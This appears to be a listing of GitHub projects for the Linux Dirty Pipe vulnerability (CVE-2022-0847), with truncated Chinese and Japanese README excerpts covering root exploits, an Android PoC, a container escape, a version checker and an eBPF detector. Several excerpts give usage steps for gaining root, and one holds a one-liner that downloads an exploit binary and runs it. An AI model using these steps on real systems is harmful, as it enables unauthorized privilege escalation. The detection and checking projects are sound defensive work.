Dirty-Pipe-Oneshot

Dirty-Pipe-Oneshot CVE-2022-0847（又名 Dirty Pipe）的编译版本。只需一击即可获得 root 权限 :D 只需编译 cve-2022-0847.c 文件 gcc cve-2022-0847.c -o getroot 然后在目标机器上执行并获取 root 权限 :D ./getroot /etc/passwd 1 ootz: 祝你 Root 愉快 🎭...

DirtyPipe-Android

适用于 Android 的 DirtyPipe Dirty Pipe CVE-2022-0847 针对 Android 的临时 root PoC。 目标设备 目前仅适用于安全补丁级别在 2022-02-05 至 2022-04-05 之间的 Pixel 6。 请勿在其他设备或其他版本上使用。必然会导致崩溃（重启）。 Dirty Pipe 最终在 Pixel 6 的 2022 年 5 月安全更新中被修复。 @rapperskull 已移植至 Realme GT2 Pro（https://github.com/polygraphene/DirtyPipe-Android/issues/12）...

dirtyPipe-automaticRoot

Dirty Pipe 自动根权限利用 CVE-2022-0847 依赖项： Python 3.10 或更高版本 如何使用： 自动根权限： $ python3.10 dirtyPipe.py -a + hjacking super user in /etc/passwd + dropipng shell 写入无写入权限、不可变或只读挂载的文件： $ python3.10 dirtyPipe.py -w FILE OFFSET DATA 来自 @terabitSec 🦜 的提供。...

CVE-2022-0847-dirty-pipe-checker

此存储库没有 README。...

Dirty-Pipe

一键利用 CVE-2022-0847 curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

DirtyPipe

Dirty Pipe エクスプロイト: CVE-2022-0847 Dirty Pipe 脆弱性（CVE-2022-0847）は、Linux カーネル内の重大な欠陥です。このリポジトリは、広く使用されているエクスプロイトコードの改変版を提供し、よりユーザーフレンドリーでモジュール化されたものにしています。 この脆弱性に関する非常に優れた解説は、HackTheBox ブログにあります。Max Kellermann による元のより詳細な解説は彼のブログにあります。...

dirty-pipe-poc

Dirty Pipe POC CVE-2022-0847 POC - https://dirtypipe.cm4all.com/ 説明 このエクスプロイトは、CVE-2022-0847 脆弱性を利用して読み取り専用ファイルを上書きしようとします。 make exploit を実行すると、以下の処理が行われます： 1. readonlyfile.txt を作成する 2. dirtypipe エクスプロイトを実行する。 3. dirtypipe エクスプロイトが成功したか確認する。 システムが脆弱かどうかは、make exploit の出力で判断できます： foo@bar:$ make...

Dirty-Pipe-Exploit

Dirty-Pipe-Exploit Dirty Pipeエクスプロイト CVE-2022-0847 は、Linuxカーネルの脆弱性 v5.8+ であり、パイプ機構の欠陥を利用して、特権を持たない攻撃者が任意のファイルを上書きできるようにします。これにより権限昇格が発生し、rootアクセスが取得されます。Dirty Cowに似ていますが、より簡単に悪用できます。修正方法: パッチ適用済みのカーネルバージョンに更新してください。...

CVE-2022-0847-DirtyPipe-Exploits

CVE-2022-0847-DirtyPipe-Exploits ペネトレーションテスターやレッドチーム向けのエクスプロイトとドキュメントのコレクションで、Linux Dirty Pipe脆弱性の悪用を支援するために使用できます。 脆弱性について Dirty Pipe CVE-2022-0847 は、Linuxカーネルにおけるローカル特権昇格脆弱性で、特権のないユーザーが以下のことを行える可能性があります。 /etc/passwd のような任意の読み取り専用ファイルの変更/上書き。 昇格したシェルの取得。 影響を受けるバージョン 5.8より新しいLinuxカーネルバージョンが影響を受けま...

dirtypipe

关于： 标题：DirtyPipe 描述：针对被称为 'Dirty PipeCVE-2022-0847' 的新 Linux 漏洞的利用，允许本地用户获取 root 权限。 作者：drapl0n 版本：1.0 类别：执行 目标：Linux 操作系统。 攻击模式：HID、存储 DirtyPipe：针对被称为 'Dirty PipeCVE-2022-0847' 的新 Linux 漏洞的利用，允许本地用户获取 root 权限。该漏洞编号为 CVE-2022-0847，允许非特权用户在只读文件中注入和覆盖数据，包括以 root 身份运行的 SUID 进程。 负载组件目录结构： 文件名| 目录...

CVE-2022-0847-DirtyPipe-Exploits

CVE-2022-0847-DirtyPipe-漏洞利用 此仓库提供了一套全面的漏洞利用代码和文档，专门为渗透测试人员和红队专业人士设计。它是旨在有效利用Linux Dirty Pipe漏洞的宝贵资源。 关于漏洞 Dirty Pipe（CVE-2022-0847）是Linux内核中发现的一个本地权限提升漏洞。此安全缺陷允许非特权用户执行多项关键操作，包括： 修改或覆盖任意只读文件（如 /etc/passwd），从而可用于操纵用户身份验证机制。 获得提升后的Shell，进而获取受影响系统上未经授权的管理员权限。...

Dirty-Pipe

CVE-2022-0847Dirty Pipe 利用 影响范围 =5.8, 5.16.11, 5.15.25 and 5.10.102 exp.c 利用该漏洞，覆盖只读文件 exp-root-shell.c 生成执行/bin/sh的shellcode来覆盖有suid且所有者为root的程序，以passwd为例，再运行被覆盖的程序就可以拿到shell，实现提权。 （虽然文件的第一个字节不可修改，但只要覆盖的文件与生成的shellcode同为ELF格式，第一个字节就一定是0x7f，不必担心此问题。）...

CVE-2022-0847-DirtyPipe-Exploits

此存储库没有 README。...

CVE-2022-0847-dirty-pipe-checker

CVE-2022-0847-dirty-pipe-checker 用于检查 CVE-2022-0847 "Dirty Pipe" 的 Bash 脚本 https://dirtypipe.cm4all.com/ 用法 检查当前内核版本 ./dpipe.sh 检查指定内核版本 ./dpipe.sh 5.10.11...

Debugging_Dirty_Pipe_CVE-2022-0847

此存储库没有 README。...

DirtyPipePython

dirty.py 説明 これは Max Kellerman によって発見された Linux カーネルの脆弱性 CVE-2022-0847（DirtyPipe）に対するエクスプロイトです。 このコードは、既存の DirtyPipe の PoC を 1 つに統合したものです。 febinrev sudo バイナリを上書きして直接ルートシェルを起動する eremus-dev Kellerman の PoC をそのまま Python に移植したもの このコードは以下をチェックします。 /etc/passwd を上書きしてルートシェルを取得できるか sudo...

CVE-2022-0847-eBPF

CVE-2022-0847-eBPF CVE-2022-0847 に対する攻撃を検出・防御する eBPF プログラム。 カーネル空間では、splice システムコールを検出し、そのシステムコールの出力 fd がパイプであり、パイプバッファのフラグが PIPEBUFFLAGCANMERGE に設定されている場合、イベントが送信されます。ユーザー空間では、splice を呼び出したプロセスを強制終了し、/proc/sys/vm/dropcaches を上書きしてページキャッシュをクリアします。 Ubuntu Server 20.10 カーネル 5.8.0-25 でテスト済み。 ビルド cla...

COMP3320-VAPT

COMP3320-VAPT 用于演示 Linux 内核 v5.8 中 CVE-2022-0847 漏洞所需的文件 编译 $ make...

CVE-2022-0847-DirtyPipe-Container-Breakout

DirtyPipe 容器逃逸 PoC 这个仓库包含一个针对 dirtypipe 内核漏洞的 PoC，用于逃逸容器。 更多解释可以在 这篇博客文章 中找到。...

DirtyPIPE-CVE-2022-0847

CVE-2022-0847 PoC 出典：https://www.exploit-db.com/exploits/50808 1. コンパイル Linuxで gcc -o dirty dirty.c を実行してPoCプログラムをコンパイルします。 2. 使用方法 ./dirty SUID を実行してプログラムを起動します。SUIDは、SUIDが設定されたプログラムのパスを指します。 通常は /usr/bin/passwd を使用します。つまり、./dirty /usr/bin/passwd を実行します。 rootのシェルを取得できます。 3. find / -perm /4000...